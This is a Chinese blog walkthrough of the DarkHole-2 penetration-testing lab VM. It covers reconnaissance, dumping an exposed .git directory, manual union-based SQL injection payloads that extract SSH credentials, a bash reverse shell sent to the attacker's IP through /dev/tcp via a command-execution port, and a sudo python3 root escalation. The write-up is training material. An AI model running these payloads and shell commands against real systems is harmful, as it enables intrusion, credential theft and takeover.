Neos的渗透测试靶机练习——DarkHole-2

DarkHole-2

    • 一、实验环境
    • 二、开始渗透
      • 1. 搜集信息
      • 2. git文件泄露
      • 3. SQL注入
      • 4. 提权
    • 三、总结


一、实验环境

虚拟机软件:VirtualBox
攻击机:kali linux(网卡初始为仅主机模式,要有安全意识)
靶机:DarkHole-2(网卡初始为仅主机模式,要有安全意识)

靶机网卡有问题需要提前修改,进入系统前先按shift,
然后按e进入编辑模式,
将ro 至 initrd之前 的内容修改为 rw single init=/bin/bash,
然后按ctrl + x,重新设置password(输入passwd 然后输入想设置的密码),
输入vim /etc/netplan/00-installer-config.yaml,
将其中的ens33修改为enp0s17,
保存后关靶机,
至此 重启靶机 在攻击机中可搜到ip。

二、开始渗透

1. 搜集信息

输入sudo su,将kali切换到root权限
Neos的渗透测试靶机练习——DarkHole-2_第1张图片
输入ifconfig查询自身ip,即攻击机ip
Neos的渗透测试靶机练习——DarkHole-2_第2张图片
可以看到自身ip192.168.56.101
输入arp-scan -l扫描本网段存活主机,即靶机ip地址
Neos的渗透测试靶机练习——DarkHole-2_第3张图片
可以看到靶机ip192.168.56.105,。
输入nmap -sV -p- 192.168.56.105扫描靶机所有端口开放情况
Neos的渗透测试靶机练习——DarkHole-2_第4张图片
可以看到端口22、80是开放的。
浏览器输入192.168.56.105:80。

命令行输入whatweb 192.168.56.105查询网站指纹信息
网站指纹
没什么关键信息。
输入dirsearch -u http://192.168.56.105,扫描网站目录。
Neos的渗透测试靶机练习——DarkHole-2_第5张图片
扫描出来个/.git/目录,这个目录是本次渗透测的关键点,因为可以通过两个工具githack、git-dumper得到网页源代码。
我们这里使用git-dumper
先下载安装pip install git-dumper,然后输入git-dumper http://192.168.56.105/.git/ neosHack将源代码导入本地neosHack目录中。
Neos的渗透测试靶机练习——DarkHole-2_第6张图片

2. git文件泄露

我们进入该目录,输入git log查看日志。
Neos的渗透测试靶机练习——DarkHole-2_第7张图片
发现有三次提交记录,我们使用git diff命令挨个查看三次提交在哪里修改过代码。
Neos的渗透测试靶机练习——DarkHole-2_第8张图片
发现第二条有修改代码的记录,并在其中发现了一个邮箱用户[email protected]密码321
我们使用这个账号重新登陆页面。
Neos的渗透测试靶机练习——DarkHole-2_第9张图片
点击提交按钮没有用,但是URL有一个参数id。我刚经历过sqli-labs的洗礼,本能的认为这里有SQL注入,我们不用sqlmap了,手动测一下。
我做了一个SQL注入专项靶场训练,感兴趣的可以看我这一篇文章:Web安全漏洞专项靶场—SQL注入—docker环境—sqli-labs靶场—详细通关指南,里面基本上涉及到SQL注入所有技巧了。

3. SQL注入

1)测试是数字型注入还是字符型注入:
构造参数:?id=1 and 1=1?id=1 and 1=2,发现二者页面显示内容相同,说明不是数字型注入;
2)判断闭合点
添加单引号:?id=1',页面空白,重新添加双引号:?id=1",页面正常显示,说明是字符型单引号闭合。
3)测试数据表的列数
构造参数:?id=1' order by 6 -- neos,正常显示,当order by 7时页面空白,说明数据表为6列。
4)测试回显位
构造参数:?id=-1' union select 1,2,3,4,5,6 -- neos,发现回显位为2,3,5,6号位。
Neos的渗透测试靶机练习——DarkHole-2_第10张图片
5)联合注入:
有这么多的回显位,我们可以一次性测出很多东西。
1>测数据库名
我们构造参数:?id=-1' union select 1,database(),version(),4,@@basedir,@@datadir -- neosNeos的渗透测试靶机练习——DarkHole-2_第11张图片
我们在对应的回显位分别测出了数据库名版本数据库的安装路径数据库文件的存放路径
2>测数据表名
我们继续构造参数:?id=-1' union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema=database() -- neos
Neos的渗透测试靶机练习——DarkHole-2_第12张图片
测出了数据库darkhole_2有两个数据表sshusers
3>测属性名
我们分别测ssh表和users表有哪些属性名。
ssh表:?id=-1' union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name='ssh' -- neos,发现该表有三个属性名id、pass、user
Neos的渗透测试靶机练习——DarkHole-2_第13张图片
users表:?id=-1' union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name='users' -- neos,发现有很多个属性名,但我们只需要知道id,password,username这三个属性即可。这里没显示全,这种情况下我们可以借助limit关键字来将剩余的属性名测出来,比如构造参数:?id=-1' union select 1,2,column_name,4,5,6 from information_schema.columns where table_name='users' limit 6,1-- neos得知那个没显示全的属性名为CURRENT_CONNECTIONS
Neos的渗透测试靶机练习——DarkHole-2_第14张图片
4>测数据项
测ssh表的所有内容:?id=-1' union select 1,2,group_concat(id),4,group_concat(username),group_concat(password) from ssh-- neos,发现只有一个用户jehad,密码为fool
Neos的渗透测试靶机练习——DarkHole-2_第15张图片
测users表的所有内容:?id=-1' union select 1,2,group_concat(id),4,group_concat(username),group_concat(password) from users -- neos,发现依然只有一个用户。
Neos的渗透测试靶机练习——DarkHole-2_第16张图片
6)登陆账号
我们使用ssh表中的那个jehad用户ssh登陆。
Neos的渗透测试靶机练习——DarkHole-2_第17张图片

4. 提权

sudo -lfind / -perm -u=s -type f 2>/dev/null没发现什么可以提权的地方。
我们继续输入cat .bash_history查看历史文件,发现9999端口是有服务的。
Neos的渗透测试靶机练习——DarkHole-2_第18张图片
我们输入ss -antp,查看socket信息,发下9999端口确实有活动信息。
Neos的渗透测试靶机练习——DarkHole-2_第19张图片
输入cat /etc/crontab,查看定时任务信息,发现另一个用户losy
Neos的渗透测试靶机练习——DarkHole-2_第20张图片
输入curl "http://127.0.0.1:9999/?cmd=whoami",发现9999端口可以以losy的权限执行命令:
在这里插入图片描述
那么losy就是我们的目标了。9999端口没办法访问,我们重新ssh连接,将本地端口 9999端口与靶机端口映射,访问本机9999端口转发到靶机9999端口:ssh [email protected] -L 9999:localhost:9999
Neos的渗透测试靶机练习——DarkHole-2_第21张图片
本地监听nc -lvvp 4444
Neos的渗透测试靶机练习——DarkHole-2_第22张图片
然后构造命令bash -c 'bash -i >& /dev/tcp/192.168.56.101/4444 0>&1',对其进行URL编码。
Neos的渗透测试靶机练习——DarkHole-2_第23张图片
靶机输入curl http://127.0.0.1:9999/?cmd=bash+-c+%27bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.56.101%2f4444+0%3e%261%27,成功反弹losy的shell。
Neos的渗透测试靶机练习——DarkHole-2_第24张图片
我们查看/home/losy目录下的.bash_history文件发现下面有losy的密码。
Neos的渗透测试靶机练习——DarkHole-2_第25张图片
我们ssh登陆losy用户,
Neos的渗透测试靶机练习——DarkHole-2_第26张图片
发现可以以root执行python,
Neos的渗透测试靶机练习——DarkHole-2_第27张图片
我们直接输入sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")',成功提权到root,并在/root目录下发现flag!!!
Neos的渗透测试靶机练习——DarkHole-2_第28张图片
至此,渗透结束。


三、总结

本次渗透测试总体来讲比较简单的,都是以往渗透遇到的经典操作,注意一下git文件泄露,及SQL注入漏洞的原理即可。


你可能感兴趣的:(靶场练习,渗透测试,网络安全,sql,git,服务器)